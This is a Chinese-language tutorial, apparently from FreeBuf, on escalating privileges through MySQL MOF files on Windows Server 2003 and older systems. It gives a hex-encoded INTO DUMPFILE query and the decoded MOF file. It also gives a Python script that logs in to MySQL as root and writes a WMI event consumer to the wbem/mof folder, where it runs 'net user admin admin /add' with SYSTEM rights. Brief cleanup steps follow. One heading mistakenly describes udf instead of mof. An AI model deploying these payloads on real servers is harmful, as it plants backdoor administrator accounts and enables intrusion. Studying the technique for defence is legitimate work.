官方公众号企业安全新浪微博

FreeBuf+小程序把安全装进口袋

• Web安全

一、原理

mof是windows系统的一个“托管对象格式”文件（位置：c:/windows/system32/wbem/mof/），其作用是每隔五秒就会去监控进程创建和死亡，mof目录下有两个文件夹（good与bad）。windows server 2003及以下系统每5秒会执行一次mof目录下的文件，执行成功会移动到good文件夹，执行失败移动到bad文件夹。

mof提权其实就是利用mysql 写入mof文件，通过mof文件中的vbs脚本以system权限执行系统命令。

二、权限

1、FILE权限（root用户默认拥有所有权限）

三、限制

udf提权操作中的一个步骤是将我们的udf文件上传到mysql的检索目录中，Windows系统下mysql各版本的检索目录有所不同：

1、 只能用于windows server 2003以下系统（windows XP、windows2000）。

四、MOF文件位置

1、into dumpfile直接写入hex编码的mof文件（等待稍长时间）。

select 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e65786520757365722061646d696e2061646d696e202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';

mof 文件：

#pragma namespace("\\\\.\\root\\subscription") 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

2、数据库允许远程链接的情况下使用mof.py写入。

mof.py：

#Python3

import MySQLdb

conn=MySQLdb.connect(host="192.168.111.6",user="root",passwd="root") 

payload = r'''
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
 {
 EventNamespace = "Root\\Cimv2";
 Name = "filtP2";
 Query = "Select * From __InstanceModificationEvent "
 "Where TargetInstance Isa \"Win32_LocalTime\" "
 "And TargetInstance.Second = 5";
 QueryLanguage = "WQL";
 };

instance of ActiveScriptEventConsumer as $Consumer
 {
 Name = "consPCSV2";
 ScriptingEngine = "JScript";
 ScriptText =
 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";
 };

instance of __FilterToConsumerBinding
 {
 Consumer = $Consumer;
 Filter = $EventFilter;
 };
'''

ascii_payload = ''

for each_chr in payload:
    ascii_payload += str(ord(each_chr)) + ','

ascii_payload = ascii_payload[:-1]

cur = conn.cursor()
sql = "select char(%s) into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload

cur.execute(sql)
conn.close()

五、修复

服务器会每五秒会循环执行之前的mof文件中的内容，在服务器被mof提权后，需要解决系统继续运行恶意代码的问题：

1、net stop winmgmt
2、删除文件夹下内容 c:/windows/system32/wbem/repository
3、net start winmgmt